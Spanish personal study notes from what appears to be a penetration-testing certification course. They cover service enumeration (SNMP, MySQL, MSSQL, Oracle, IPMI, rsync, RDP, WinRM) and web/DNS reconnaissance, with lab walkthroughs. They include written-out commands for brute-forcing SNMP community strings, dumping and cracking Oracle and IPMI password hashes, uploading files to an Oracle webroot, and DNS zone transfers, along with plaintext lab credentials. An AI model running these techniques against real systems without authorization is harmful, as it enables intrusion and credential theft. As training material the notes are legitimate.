![[Pasted image 20260403103718.png]]![[Pasted image 20260403103735.png]]

Comandos POP3

Una vez conectados podemos usar los comandos para navegar y enviar comandos en el server

![[Pasted image 20260403102252.png]]

Comandos IMAP

![[Pasted image 20260403104939.png]]

LABORATORIO

Tenemos las creds:

robin:robin
  1. Encontrar el nombre exacto de la organizacion

![[Pasted image 20260403104508.png]]![[Pasted image 20260403104551.png]]

  1. FQDN del servidor ![[Pasted image 20260403104610.png]]

  2. Enumera IMAP y encuentra la flag

![[Pasted image 20260403104728.png]] ![[Pasted image 20260403104757.png]]

  1. Version customizada de POP3

![[Pasted image 20260403110809.png]]

  1. Admin email ![[Pasted image 20260403110558.png]]

  2. Trata de acceder a los emails del server IMAP y consigue la flag ![[Pasted image 20260403110611.png]]

CPTS

7. Snmp

Creado para monitorizar dispositivos de red ademas de menajar tareas de configuracion y cambiar las configuraciones de forma remota

Puerto 161 UDP Puerto 162 UDP : envia paquetes desde el servidor al cliente que no necesitan ser solicitados si el dispositivo esta configurado para que le lleguen

Elementos clave

MIB

SNMP usa una base de datos. El MIB es un archivo que hace como mapa donde muestra:

  • Que significa cada OID
  • Que tipo de dato devuelve
  • Como interpretarlo

OID

Es una cadena de numeros que nos da informacion. Cuanto mas larga mas informacion contiene

Ejemplo OID: 1.3.6.1.2.1.1.5 Como se ve en el MIB: sysName → nombre del sistema

Community String

Son como contraseñas que determinan si la informacion solicitada se puede ver o no Las defautl son public y private

Versiones

SNMP V1

No tenia mecanismos de seguridad, autenticacion ni cifrado. Todo en texto plano e inseguro

SNMP V2

La autenticacion era si te sabias el comunnity string estabas dentro. No habia seguridad ni cifrado

SNMP V3

Tiene mecanismos de seguridad, autenticacion y cifrado pero es mas complejo

Footprinting

Snmpwalk

Usado para enumerar OIDs

snmpwalk -v2c -c COMMUNITY_STRING IP

![[Pasted image 20260403112627.png]]

En la salida vemos el POD, el MID e informacion de ese OID

Onesixtyone

Usado como fuerza bruta para encontrar community strings

onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt IP

![[Pasted image 20260403112901.png]]

Muchas veces en redes extensas usan los hostname como community strings o a veces le añaden algun simbolo

El caso es que si nos sabemos el patron podemos usar crunch ([[Cracking Passwords With Hashcat]]) para crear una wordlist personalizada

Braa

Una vez sepamos la community string podemos hacer fuerza bruta de los OIDs individuales y enumerar informacion

braa COMMUNITY_STRING@IP:.1.3.6.*

![[Pasted image 20260403113314.png]]

LABORATORIO

  1. Enumera el SNMP service y obten el mail addres del admin

![[Pasted image 20260403114547.png]]

Encontramos public

![[Pasted image 20260403115041.png]]

  1. Version customizada del SNMP

![[Pasted image 20260403115056.png]]

  1. Enumera el script customizado del sistema y obten la flag

![[Pasted image 20260403115122.png]]

o

![[Pasted image 20260403115151.png]]

CPTS

8. Mysql

Base de datos relacional (tablas y columnas)

Se necesitan credenciales validas

Puerto 3306 TCP

Elementos MySQL

Cliente

Ejecuta queries en el servidor que le dan informacion de las BBDD El CMS WP tiene su propia BBDD que solo se puede acceder en local donde guarda post, usernames, pass…

Server

Almacena la infromacion en tablas y columnas. Muy usado en webdinamicas Se suele combinar con (Linux, Apache, MySQL y PHP) LAMP o si se usa Nginx LEMP

Footprinting

sudo nmap -Pn -sS -sVC --script mysql* -T4 -p3306 IP

![[Pasted image 20260403120039.png]]![[Pasted image 20260403120047.png]]

Hay que tener cuidado con los falsos positivos. Ahi nos dice en el modulo de mysql-brute que root no tiene contraseña (is empty) pero si lo comprobamos manualmente vemos que no es asi:

![[Pasted image 20260403120227.png]]

Loggin MySQL

USUARIO POR DEFECTO: root

mysql -u USER -pPASS -h IP
mysql -u USER -h IP -p --ssl=0

![[Pasted image 20260403120305.png]]![[Pasted image 20260403120312.png]]

Databases:

  • sys o system schema: contiene tablas, informacion y metadata necesaria para la gestion ![[Pasted image 20260403120521.png]]

  • information schema: contiene metadata que mucha ya es dada por sys. Contiene menos info que sys

Comandos MySQL

![[Pasted image 20260403120628.png]]

LABORATORIO

  1. Enumera MySQL y obten la version

![[Pasted image 20260403120919.png]]

  1. Encontramos las creds (robin:robin). Intentalas contra MySQL. Encontrar el mail de “Otto Lang”

![[Pasted image 20260403122057.png]]![[Pasted image 20260403122114.png]]![[Pasted image 20260403122132.png]]

CPTS

9. Mssql

Es una base de datos relacional de Microsoft de gestion del sistema que corre en Windows y es popular para aplicaciones que corren en .NET framework

Puerto 1433 TCP

Elementos

MSSQL Client

SSMS es una caracteristica que se suele instalar en el server para una configuracion inicial SSMS es la aplicacion de parte del cliente. No solo puede ser instalada en el server. SI nos conectamos a un host que tiene SSMS y tenemos credenciales validas para conectarnos, podremos ver la database

![[Pasted image 20260403124415.png]]

Algunos clients mas:

  • Impacket mssqlclient
  • SQLPro
  • SQL Server PowerShell
  • mssql-cli

BBDD de MSSQL

![[Pasted image 20260403124522.png]]

Footprinting

sudo nmap -Pn -sS -sVC --script ms-sql* --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 10.129.201.248

NSE Scripts:

  • ms-sql-info
  • ms-sql-empty-password
  • ms-sql-xp-cmdshell
  • ms-sql-config,ms-sql-ntlm-info
  • ms-sql-tables
  • ms-sql-hasdbaccess
  • ms-sql-dac
  • ms-sql-dump-hashes

Podemos usar : scanner/mssql/mssql_ping de MSF Este nos dara informacion de ayuda en la parte de footprinting

![[Pasted image 20260403125339.png]]

Login

USUARIO POR DEFECTO: sa

impacket-mssqlclient USER_DB@IP
impacket-mssqlclient USER_AD@IP -windows-auth

-windows-auth hace que nos autentiquemos con un usuario del AD o local no con un usuario de la base de datos

![[Pasted image 20260403125517.png]]

Comandos Enumeracion MSSQL

![[Pasted image 20260403130412.png]] ![[Pasted image 20260403130505.png]]![[Pasted image 20260403130513.png]]

LABORATORIO

  1. Enumera el objetivo y devuelve el hostname

![[Pasted image 20260403130112.png]]

  1. Usando (backdoor:Password1) encuentra la base de datos no default

![[Pasted image 20260403130454.png]]

EJEMPLO

![[Pasted image 20260405112105.png]]![[Pasted image 20260405112118.png]]![[Pasted image 20260405112133.png]]![[Pasted image 20260405112146.png]]![[Pasted image 20260405112158.png]]![[Pasted image 20260405112208.png]]

CPTS

10. Oracle Tns

Es un protocolo que facilita la comunicacion entre las bases de datos Oracle y aplicaciones sobre la red. Soporta pilas de protocolo como TCP/IP e IPX/SPX

Se usa mucho en entornos con grandes y complejas databases como sanidad, finanzas, industria…

Ofrece encriptacion

Puerto 1521 TCP

Ejecutar para usar Odat Y SQLPLUS

Hay que ejecutar unas cosas que no vienen bien puestas en el modulo ya lo mirare

Footprinting

sudo nmap -Pn -sS -sVC -p1521 IP

![[Pasted image 20260403152410.png]]

SID es numero identificativo de la database que los clientes usan para especificar la instancia a la que se quieren conectar. Si no se especifica un SID se conectara a la default que estara especificada en el archivo de configuracion tnsnames.ora

Podemos usar vasrias forams para hacer una fuerza bruta de SIDs:

  • NSE de Nmap

  • Hydra

  • Odat

    sudo nmap -Pn -sS -sVC -p1521 –script oracle-sid-brute IP

![[Pasted image 20260403152755.png]]

Odat

odat.py : es una herramienta de pentesting que enumera y explota las vulnerabilidades en Oracle Databases

./odat.py all -s IP

![[Pasted image 20260403152929.png]]

Realiza todos los escaneres de usuarios, SIDs, vulnerabilidades etc

En este caso encontramos las creds de scott/tiger

Login con SQLplus

sqlplus USER/PASS@IP/SID

![[Pasted image 20260403153107.png]] ![[Pasted image 20260403153545.png]]

No tenemos privielegios pero podemos intentar conectarnos a la BBDD del admin y tener mas privilegios:

sqlplus USER/PASS@IP/SID as sysdba

![[Pasted image 20260403153835.png]]

No podemos hacer modificaciones ni añadir nuevos usuarios ahora pero podemos obtener los hashes de la base de datos sys.user$ y crackearlos offline

select name, password from sys.user$;

![[Pasted image 20260403154044.png]]

Otra forma es subir un archivo pero necesitamos que haya un webserver corriendo y saber el webroot. Los default:

![[Pasted image 20260403154159.png]]

./odat.py utlfile -s IP -d SID -U USER -P PASS --sysdba --putFile WEBROOT NOMBRE_ARCHIVO_DST ./RUTA/ARCHIVO_LOCAL

![[Pasted image 20260403154341.png]]

Si fuese un shell, abririamos el listener y comprobariamos si existe con curl:

curl -X GET http://IP/archivo

ERROR LIBRERIAS

Si da un error en las librerias ejecutamos esto primero:

sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf";sudo ldconfig

![[Pasted image 20260403153130.png]]

Comandos SQLPlus

![[Pasted image 20260403153421.png]]![[Pasted image 20260403153432.png]]

LABORATORIO

  1. Obtener el hash de la contraseña de DBSNMP

![[Pasted image 20260403155220.png]]

![[Pasted image 20260403161841.png]]![[Pasted image 20260403161846.png]]![[Pasted image 20260403161858.png]]![[Pasted image 20260403161902.png]]![[Pasted image 20260403161906.png]]

CPTS

11. Ipmi

Es un conjunto de especificacion para sistemas de gestion basados en hw usados para gestion y monitorizacion

Actua como un subsistema autonomo y trabaja independientemente del BIOS, CPU, firmware. Da la habilidad a los administradores de gestionar y monitorizar sistemas incluso si estan apagados. Monitoriza la temperatura, voltaje, ventiladoresd, fuentes de alimentacion…

Trabaja usando la conexion de red directa con el sistema y no necesita acceso al SO via login shell. Puede ser usado tambien para actualizaciones sin acceso al host

Puerto 623 UDP

Footprinting

Un BMC, Baseboard Management Controller, es un pequeño controlador integrado en la placa base del servidor que permite administrarlo de forma remota aunque el sistema operativo esté apagado o fallando.

El BMC da un control muy alto sobre la máquina, casi como si tuvieras acceso físico, porque permite reiniciar, apagar, monitorizar e incluso reinstalar el sistema operativo. Los BMC más comunes son HP iLO, Dell DRAC y Supermicro IPMI, y suelen ofrecer consola web, Telnet o SSH. En una auditoría, si consigues acceso al BMC, el compromiso del servidor es muy grave

Default passwords:

![[Pasted image 20260403163139.png]]

sudo nmap -sU --script ipmi-version -p 623 IP |  dominio

![[Pasted image 20260403163022.png]]

Otra forma es con el modulo auxiliary/scanner/ipmi/ipmi_version de MSF

![[Pasted image 20260403163107.png]]

Login

Podemos probar las creds por defecto del BMC

Si no funcionan podemos usar el protocolon RAKP enm IMPI 2.0 que durante el proceso de autenticacion envia un sha1 o md5 de la pass del usuario

No hay solucion directa para esto. Se suele optar por creds largas y complejas pero con una que encontremos muchas veces se hacer pass reuse en otros hosts. Otra cosa que se hace como medida es reglas de segmentacion de red restringiendo el acceso directo a BMC

Si conseguimos la pass podremos conectarnos por SSH o Telnet

DUMPING HASHES

auxiliary/scanner/ipmi/ipmi_dumphashes - MSF

Este modulo encuentra el hash y lo crackea

![[Pasted image 20260403163841.png]] ![[Pasted image 20260403163853.png]]

Con esto podemos conseguir el hash de cualquier usuario valido en el BMC

  • Para HP iLO podemos usar esto que probara combinaciones de letras UPPERCASE y numeros con 8 caracteres totales:

      hashcat -m 7300 ipmi.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u
  • Para los demas

      hashcat -m 7300 ipmi.txt -w /usr/share/metasploit-framework/data/wordlists/ipmi_passwords.txt

Tras conseguir pass

ipmitool -I lanplus -H 10.129.36.204 -U USER -P 'TU_PASSWORD' user list

Tambien hay opciones de energia (apagado, reinicio, encendido), de voltaje, chasis…

![[Pasted image 20260403170254.png]]

LABORATORIO

  1. Que usuario podemos loggearnos en IPMI

![[Pasted image 20260403164917.png]]

  1. Cual es pass ![[Pasted image 20260403165534.png]]

CPTS

1. Linux

SSH

Protocolo encriptado que permite conexion directa con el objetivo. El servidor OpenSSH es open source. SSH 1 era vulnerable a ataques MITM

Puerto 22 TCP

Metodos de autenticacion:

  • Password
  • Public Key
  • Host based
  • Keyboard
  • Challenge-response
  • GSSAPI

Public Key

El host envia el public key al cliente que el cliente usa para identificar al host de forma univoca. Tiene un par, la private key, esta no puede ser obtenida por el atacante a menos que acceda al objetivo

La clave privada se puede crear con una pass phrase. Cuando nos queramos conectar via ssh con la clave privada, tendremos que poner la passphrase primero

Footprinting

ssh-audit : chekea el client-side y server-side para las malas configuraciones y muestra la informacion general, el algoritmo de encriptacion…

git clone https://github.com/jtesta/ssh-audit.git && cd ssh-audit
./ssh-audit.py IP

![[Pasted image 20260404161638.png]]![[Pasted image 20260404161644.png]]

Vemos el banner con la version la cual tiene la vulnerabilidad CVE-2020-14145 que permite hacer MITM y ataque de intento de conexion inicial La salida nos puede dar informacion importante como los metodos de autenticacion

Cambiar el metodo de autenticacion

En la salida hemos podido ver los metodos de autenticacion. Tambien lo podemos ver asi:

ssh -v USER@IP

![[Pasted image 20260404162126.png]]

ssh USER@IP -o PreferredAuthentications=METODO

![[Pasted image 20260404162217.png]]

Con esto especificamos el metodo de autenticacion

Rsync

Es una herramienta que permite copiar archivos locales y remotos

Si ya existe una version del archivo que estamos transfiriendo en el host destino, este reduce drasticamente la cantidad de datos que se envian ya que solo envia las diferencias

Puerto 873 TCP

Puede usar el demonio ssh

Guide : esta muestra formas de abusar Rsync como listar contenidos del share

A veces no se necesita autenticacion otras si. Si encontramos credenciales siempre esta bien mirar

sudo nmap -Pn -sS -sVC -T4 -p873 IP

![[Pasted image 20260404162943.png]]

Probando acceso al share

nc -nv IP PUERTO
#list

![[Pasted image 20260404163007.png]]

Enumerar un share publico

rsync -av --list-only rsync://IP/SHARE

-a: modo archivo, conserva estructura, permisos…

![[Pasted image 20260404163059.png]]

Descargar archivos

rsync -av rsync://IP/SHARE .
rsync -av rsync://IP/SHARE/ARCHIVO .

Si corre encima del demonio de SSH como se comento al principio:

rsync -av -e ssh USER@IP:/SHARE/ARCHIVO .
rsync -av -e "ssh -p2222" USER@IP:/SHARE/ARCHIVO .

Subir archivos

rsync -av ARCHIVO rsync://IP/SHARE 

Si corre encima del demonio de SSH como se comento al principio:

rsync -av -e ssh ARCHIVO USER@IP:/SHARE/ 
rsync -av -e "ssh -p2222" ARCHIVO USER@IP:/SHARE/ 
PODRIAMOS SUBIR ARCHIVOS A CUALQUIER PARTE DEL SISTEMA /RUTA SI TUVIERAMOS CREDS VALIDAS

R-Services

Junto con telnet fueron reemplazados por ssh. Transmiten informacion client-server y server-client sin encriptar haciendo posibles los ataques MITM

Puertos 512, 513, 514 TCP

Footprinting

sudo nmap -Pn -sS -sVC -p512,513,514 IP

![[Pasted image 20260404165304.png]]

Comandos R-Service

R-commands cada uno usa un puerto:

  • rcp (remote copy)
  • rexec (remote execution)
  • rlogin (remote login)
  • rsh (remote shell)
  • rstat
  • ruptime
  • rwho (remote who)

![[Pasted image 20260404164740.png]]

/etc/hosts.equiv

Tiene una lista de hosts que son permitidos. Cuando un host de estos se intentan conectar al sistema no necesita mas autenticacion

![[Pasted image 20260404165147.png]]

Login con rlogin

rlogin IP -l USER

![[Pasted image 20260404165718.png]]

En otra terminal podemos usar rwho para ver informacion de los usuario conectados y las workstation

rwho

![[Pasted image 20260404165901.png]]

Listar usuarios con Rusers

rusers -al IP

![[Pasted image 20260404170045.png]]

CPTS

2. Windows

RDP

Puerto 3389 TCP

Footprinting

sudo nmap -Pn -sS -sVC IP -p3389 --script rdp*

![[Pasted image 20260404171132.png]]

Check RDP Security

rdp-sec-check.pl   git clone https://github.com/CiscoCXSecurity/rdp-sec-check.git && cd rdp-sec-check ./rdp-sec-check.pl IP

![[Pasted image 20260404171427.png]]![[Pasted image 20260404171441.png]]

Conexion RDP

Varias herramientas: xfreerdprdesktop, or Remmina

xfreerdp /u:USER /p:"PASS" /v:IP

![[Pasted image 20260404171620.png]]![[Pasted image 20260404171626.png]]

WinRM

Protocolo de gestion remota basado en command line

Puerto 5985 y 5986 por HTTP o HTTPS

Footprinting

sudo nmap -Pn -sS -sVC -p5985,5986 IP

![[Pasted image 20260404174957.png]]

Login WinRM

evil-winrm -i IP -u USER -p PASS

![[Pasted image 20260404175102.png]]

WMI

Extension de CIM (Modelo de Informacion Comun, funcionalidad principal de la administracion empresarial basada en web

Permite acceso de lectura y escritura a casi todas las configuraciones del sistema

Footprinting

Puerto 135 TCP

impacket-wmiexec USER:PASS IP "hostname"

![[Pasted image 20260404175548.png]]

CPTS

1. Easy

Creds encontradas:

ceil:qwer1234

![[Pasted image 20260404181125.png]] ![[Pasted image 20260404181329.png]]

Enumeramos DNS para practicar:

Enumerar DNS sirve para encontrar:

  • Hostnames
  • Subdomains que podemos poner en el navegador y puede que tengan utilidades diferentes
  • IPs que podemos enumerar
  • Servicios como correo etc

Todos estos se pueden enumerar y encontrar nuevos puertos y vectores de ataque

![[Pasted image 20260404182053.png]]![[Pasted image 20260404182109.png]]

Ahora podemos conectarnos a FTP con las creds:

![[Pasted image 20260404184055.png]]

Tenemos que usar el comando passive para salir del modo pasivo No encontramos nada podemos tratar en el puerto 2121

![[Pasted image 20260404184212.png]]

Aqui conseguimos una clave privada ssh podemos conectarnos por ssh usandola:

![[Pasted image 20260404184403.png]]![[Pasted image 20260404184429.png]]

CPTS

2. Medium

![[Pasted image 20260405102140.png]]

Vamos a ver el NFS y montarlo si podemos

![[Pasted image 20260405105321.png]] ![[Pasted image 20260405105533.png]]

No puedo entrar porque no soy root

![[Pasted image 20260405105603.png]]

user=“alex” password=“lol123!mD”

Probamos estas creds en SMB:

![[Pasted image 20260405110021.png]]

No encontramos nada vamos al otro share

![[Pasted image 20260405110241.png]]

sa:87N1ns@slls83

Podemos probar tambien a conectarnos con las creds de alex

![[Pasted image 20260405110843.png]]

Vemos un MSSQL, podemos entrar con las creds encontradas de sa

![[Pasted image 20260405111025.png]]![[Pasted image 20260405111259.png]]

Esto error es porque tenemos que correr el MSSQL como Administrator

![[Pasted image 20260405111335.png]]

Vamos a probar la contraseña de sa

![[Pasted image 20260405111437.png]]

Entramos

![[Pasted image 20260405111457.png]] ![[Pasted image 20260405111912.png]]

En account tiramos una query ![[Pasted image 20260405111707.png]] ![[Pasted image 20260405111925.png]]![[Pasted image 20260405112001.png]]

CPTS

3. Hard

![[Pasted image 20260405112952.png]]

Vamos a conectarnos a imaps:

![[Pasted image 20260405113138.png]]

No podemos hacer mucho sin creds. Podemos mirar servicios UDP

![[Pasted image 20260405114318.png]] ![[Pasted image 20260405114516.png]] ![[Pasted image 20260405114524.png]]

tom NMds732Js2761

![[Pasted image 20260405114917.png]]![[Pasted image 20260405114931.png]]![[Pasted image 20260405114943.png]]

Copiamos el certificado SSH

![[Pasted image 20260405115035.png]]

Nos conectamos

![[Pasted image 20260405115136.png]]![[Pasted image 20260405115340.png]]

Hay servicio mysql

![[Pasted image 20260405115514.png]]![[Pasted image 20260405115619.png]]![[Pasted image 20260405115628.png]]

CPTS

Layers De Enumeracion

1. Internet Presence

El objetivo es identificar todos los objetivos posibles del sistema e interfaces que pueden ser testeados

2. Gateway

El objetivo es entender con que estamos tratando y con que debemos tener cuidado

3. Accessible Services

Trata de entender la razon y funcionalidad del sistema objetivo y ganar el conocimiento necesario para comunicarnos con el y explotarlo

4. Processes

Entender aquellos factores e identificar las dependencias de ellos

5. Privilegios

Es crucial identificar y enteneder que podemos y que no podemos hacer

6. OS Setup

Ver como los administradores manejan el sistema y que informacion sensible podemos obtener

CPTS

1. Whois

Es una protocolo diseñado para acceder a bases de datos que almacenan informacion sobre los recursos de internet registrados

Nos prove informacion del dominio como:

  • Domain name

  • Registrar: compañia donde el dominio esta registrado

  • Registrant Contact: persona que registro el dominio

  • Administrative Contact: persona responsable del dominio

  • Contacto Tecnico: persona que se encarga de problemas tecnicos del dominio

  • Creacion y expiration dates

  • NS: DNS servers que traducen el dominio en una IP

    whois DOMAIN

![[Pasted image 20260405161509.png]]

Uso de Whois

Cuando se envia un correo o se encuentra el dominio origen de un malware se usa whois y se ve el dia de creacion y expiracion, NS, Registrants, etc. con lo que se puede determinar si el dominio es malicioso o no

LABORATORIO

  1. Realiza un whois a paypal.com. Cual es el IANA o Internet Assigned Numbers Authority ID

![[Pasted image 20260405162015.png]]

  1. Cual es el email de contacto en tesla.com

![[Pasted image 20260405162054.png]]![[Pasted image 20260405162115.png]]

CPTS

1. DNS (teoria)

Domain Name System traduce domain name a IPs y viceversa

Como funciona

Imaginemos que queremos navegar a www.example.com y nuestra maquina no entiende de palabras sino de IPs

  1. Maquina preguntya la direccion: primero mira la memoria cache y si no la encuentra busca en DNS resolvers que da nuestro ISP
  2. El DNS resolver mira su mapa: el DNS resolver mira su cache y si no esta empieza a mirar en otros DNS servers jerarquicamente. Empieza preguntando al root NS
  3. Root DNS marca el punto: Root NS no sabe exactamente la IP pero si quien la tiene y lo consulta con el DNS de ese TLD (.com, .org…)
  4. El TLD NS: es un mapa regional. Este sabne que NS authoritative es responsable de ese dominio y lo pregunta
  5. Authoritative NS consigue la IP address y se la devuelve a DNS resolver
  6. DNS resolver nos devuelve la informacion
  7. Nuestra maquina se conecta

/etc/hosts o C:\Windows\System32\drivers\etc\hosts

Es una archivo que relaciona hostnames con IP addresses. DNS lo automatiza y hosts lo hace de forma directa y podemos meter entradas de forma manual

![[Pasted image 20260405163444.png]]

Zone Transfer y Registros

Un Zone Transfer es una parte distinta el namespace que una entidad o administrador gestionan

Dentro de un dominio principal (paquete central) se encontraran todos sus subdominio aunque no todos los subdominios necesitan estar en la misma zona

![[Pasted image 20260405164305.png]]

En este ejemplo encontrarmos NS, MX e IPs del dominio example.com

Registros

![[Pasted image 20260405164351.png]]![[Pasted image 20260405164359.png]]

NS y SOA

![[Pasted image 20260405170155.png]]![[Pasted image 20260405170207.png]]

CPTS

2. Dig DNS

Hay muchas herramientas de reconocimiento DNS y hacer consultas DNS para extraer informacion vulnerable

![[Pasted image 20260405164924.png]]

Dig

Herramienta poderosa que permite realizar consultas DNS y que nos devuelva varios DNS records

![[Pasted image 20260405165035.png]]![[Pasted image 20260405165042.png]]

Ejemplo

![[Pasted image 20260405165115.png]]![[Pasted image 20260405165208.png]]

LABORATORIO

  1. Que IP address tiene inlanefreight.com ![[Pasted image 20260405165701.png]]

  2. Que dominio es devuelto en el registro PTR de 134.209.24.248 ![[Pasted image 20260405165731.png]]

  3. Cual es el dominio completo devuelto cuando consultas el registro mail de facebook.com

![[Pasted image 20260405165756.png]]

CPTS

3. Subdomains (teoria)

Cuando exploramos registros DNS nos centramos principalmente en el dominio principal y su informacion

Los subdominios son extensiones de este dominio principal que separa diferentes secciones o funcionalidades:

  • example.com
  • blog.example.com
  • mail.example.com
  • shop.example.com

Es importante porque pueden tener informacion y recursos que no son directamente accesibles desde el sitio web principal como portales login ocultos, aplicaciones antiguas, informacion sensible…

En DNS records se ven junto al registro A o AAAA. CNAME se puede usar para crear alias del dominio principal y sus subdominios

Enumeracion activa

Interactuar con el dominio objetivo y sus DNS servers para descubrir los subdominios:

  • DNS zone transfer
  • Brute force enum: dnsenum, ffuf y gobuster

Enumeracion pasiva

Mirar en fuentes externas para descubrir subdominios sin consultar directamente a los DNS servers:

  • CT logs
  • Public repositories SSL/TLS que pueden tener asociados subdominios en su campo SAN
  • Search engine como Google Dorks:
    • site:*DOMAIN

CPTS

4. Subdomains Bruteforcing

Se usa una wordlist para descubrir subdominios

Herramientas que podemos usar

![[Pasted image 20260406174936.png]]

DNSEnum

Con esta herramienta se pueden hacer varias cosas como:

  • Enumeracion de registros DNS

  • Intentos de zone transfer

  • Subdomain Brute Forcing

  • Google scraping : busca resultados en Google para encontrar mas subdominios

  • Reverse Lookup : para identificar el dominio asociado a una IP

  • Whois Lookup

    dnsenum –enum DOMAIN -f WORDLIST -r dnsenum DOMAIN -f WORDLIST -r

-r : recursivo

WORDLIST: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt

![[Pasted image 20260406175257.png]]![[Pasted image 20260406175303.png]]

LABORATORIO

  1. Usando los subdominios conocidos de inlanefreight.com encuentra el subdominio perdido mediante brute forcing

![[Pasted image 20260406180200.png]]

CPTS

5. DNS Zone Transfer

Una zona de transferencia es una copia de todos los registros DNS de una zona (domino y sus subdominios) que es imprescindible para mantener la coherencia y redundancia de los DNS servers

Si no hay suficiente seguridad se puede descargar el archivo de la zona con todos los registros

![[Pasted image 20260407151422.png]]

SOA contiene la infromacion importante de la zona incluido el numero de serie

Explotando el zone transfer

dig axfr @NS/IP_NS DOMAIN

![[Pasted image 20260407151646.png]]

LABORATORIO

  1. Tras hacer un zone transfer del dominio inlanefreight.htb, cuantos DNS records obtuvimos

![[Pasted image 20260407152216.png]]

  1. Encontrar la IP de ftp.admin.inlanefreight.htb ![[Pasted image 20260407152228.png]]

  2. Encontrar la IP mas grande dentro del rango 10.10.200

![[Pasted image 20260407152346.png]]

CPTS

6. Virtual Hosts

El webserver puede alojar varios dominios o subdominios en una solo IP, ha esto se le llama VIRTUAL HOSTING. El webserver sabe a que subdominio dirigirte por el parametro header “HTTP Host” indicandolo

Los subdominios tienen sus propios DNS records, son extensiones del dominio principal y pueden ser usados para diferenciar secciones o servicios en un website El virtual host son configuraciones dentro del webserver que permite hostear varias websites o aplicaciones que puden estar asociadas a un subdominio o dominio

Si el virtual host no tiene un registro DNS podemos acceder modificando /etc/hosts

Funcionamiento VHost

![[Pasted image 20260407153308.png]]

Tipos de Virtual Hosting

  • Basado en nombre: usa el HTTP Host header para distinguir websites
  • Basado en IP: asigna una IP unica a cada website hosteado en el servidor. Mejor aislamiento
  • Basado en puerto: por ejemplo una por 80 y otra por 8080. No es tan comun ni user friendly

Herramientas para descubrir VHOSTs

![[Pasted image 20260407153614.png]]

Gobuster

gobuster vhost -u URL -w WORDLIST --append-domain

–append-domain: pone el nombre del dominio despues de cada palabra de la wordlist necesario en versiones nuevas

WORDLIST: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt

PARAMETROS:

Parametro Explicacion
-t N Numero de threads en paralelo
-k Ignora errores de ssl
-o ARCHIVO Lo guarda en un archivo
–no-tls-validation
Para cuando falle el tls

![[Pasted image 20260407153926.png]]

LABORATORIO

  1. Realiza fuerza bruta de vhosts en el target. Cual es el subdomain completo del que tiene el prefijo web

Tenemos que modificar primero el /etc/hosts porque sino no llegamos al dominio ya que no lo reconocera ningun DNS publico

![[Pasted image 20260408150541.png]] ![[Pasted image 20260407154630.png]] ![[Pasted image 20260407155223.png]]

  1. Y del que tiene el prefijo vm

![[Pasted image 20260407155141.png]]

  1. Y del que tiene el prefijo br

![[Pasted image 20260407155235.png]]

  1. Y del que tiene el prefijo a

![[Pasted image 20260407155211.png]] ![[Pasted image 20260407155717.png]]

  1. Y del que tiene el prefijo su

![[Pasted image 20260407155200.png]]![[Pasted image 20260407155706.png]]

CPTS

7. Certificate Transparency Logs

La confianza en Internet se basa en el protocolo SSL que cifra la comunicacion para que no se pueda leer facilmente. Esto se funciona mediante certificados digitales que demuestran que esa web es realmente quien dice ser

Estos son dados por los CA o Autoridades Certificadoras pero en algunos casos pueden cometer errores o ser comprmetidas emitiendo certificados falsos que puede hacer que un atacante se haga pasar por una entidad que no es (MITM)

Para solucionarlo surgieron los CT logs que es donde las CAs publican los certificados que emiten publicamente

CT Logs y Web Recon

Los CT Logs pueden desvelar subdominios asociados a certificados antiguos y expirados que pueden contener sw desactualizado y vulnerable

A diferencia del brute forcing el CT Log provee de la lista definitiva de los dominios y sus subdominios

Buscando CT Logs

![[Pasted image 20260407160954.png]]

Censys

crt.sh

crt.sh

curl -s "https://crt.sh/?q=DOMAIN&output=json" | jq -r '.[] | select(.name_value | contains("dev")) | .name_value' | sort -u

![[Pasted image 20260407161052.png]]

CPTS

1. Fingerprinting

Encontrar detalles tecnicos de las tecnologias o aplicaciones web que corren en sitio web

Nos sirve para identificar:

  • Vectores de ataques
  • Identificar malas configuraciones
  • Priorizar objetivos

Tecnicas

  • Banner Grabbing: analizar el banner que devuelve el web server y otros servicios que nos pueden dar la version, software y otros detalles
  • Analizar HTTP Headers: en X-Powered-By por ejemplo podemos encontrar el sw del webserver o tecnologias como scripting lenguage
  • Probar respuestas especificas: probar distintas entradas para obtener distintas salidas que puedan mostrarnos mensjaes de error con info filtradas o comportamientos
  • Analizar el contenido de la pagina

Herramientas

![[Pasted image 20260407162530.png]]

Fingerprinting

curl -I DOMAIN

Esto muestra los headers del website. Podemos ver la version de Apache y que es un Ubuntu. Adsemas vemos que nos esta intentando redirigir a https://DOMAIN

![[Pasted image 20260407162645.png]]

curl -I SITIO_WEB

![[Pasted image 20260407162809.png]]

Ahora vemos que esta corriendo un WP y nos esta redirigiendo a https://www.DOMAIN

curl -I www.SITIO_WEB

![[Pasted image 20260407162859.png]]

Podemos ver que tiene links hacia wp-json

Wafw00f

WAF es un firewall de un sitio web que previene de ciertos ataques. Podemos mirara si tiene un WAF el sitio web

pip3 install git+https://github.com/EnableSecurity/wafw00f
wafw00f DOMAIN

![[Pasted image 20260407163106.png]]

Esta defendido por Wordfence de Defiant

Nikto

Es un webserver scanner. Encuentra plugins, themes, sw, archivos y configuraciones inseguras…

nikto -h DOMAIN -Tuning (Numero o letra)

-Tuning b: indica que solo modulos de fingerprinting

![[Pasted image 20260407163344.png]]

LABORATORIO

  1. Determina la version Apache que esta corriendo

![[Pasted image 20260407163940.png]] ![[Pasted image 20260407163846.png]]

  1. Que CMS usa app.inlanefreight.local en el sistema

![[Pasted image 20260407164054.png]]

  1. Que SO esta corriendo el dev.inlanefreight.local

![[Pasted image 20260407164227.png]]

CPTS

1. Spidering

Es el proceso de automaticamente y recursivamente navegar por el sitio web siguiendo links, hipervinculos y recolectando informacion

Como funciona

El crawler busca la pagina, parsea el contenido y extrae los links que los va añadiendo a una cola para repetir esto en cada link

![[Pasted image 20260407195336.png]] ![[Pasted image 20260407195342.png]]

Luego seguiria con los links 2,4 y 5

2 formas de hacerlo:

  • Primero ancho: prioriza mirar todos los websites antes de profundizar una capa mas

![[Pasted image 20260407195449.png]]

  • Primero profundo: prioriza mirar las capas en profundidad de un website hasta no quedarle mas y vuelve a la primera capa para repetirlo

![[Pasted image 20260407195643.png]]

Extraen:

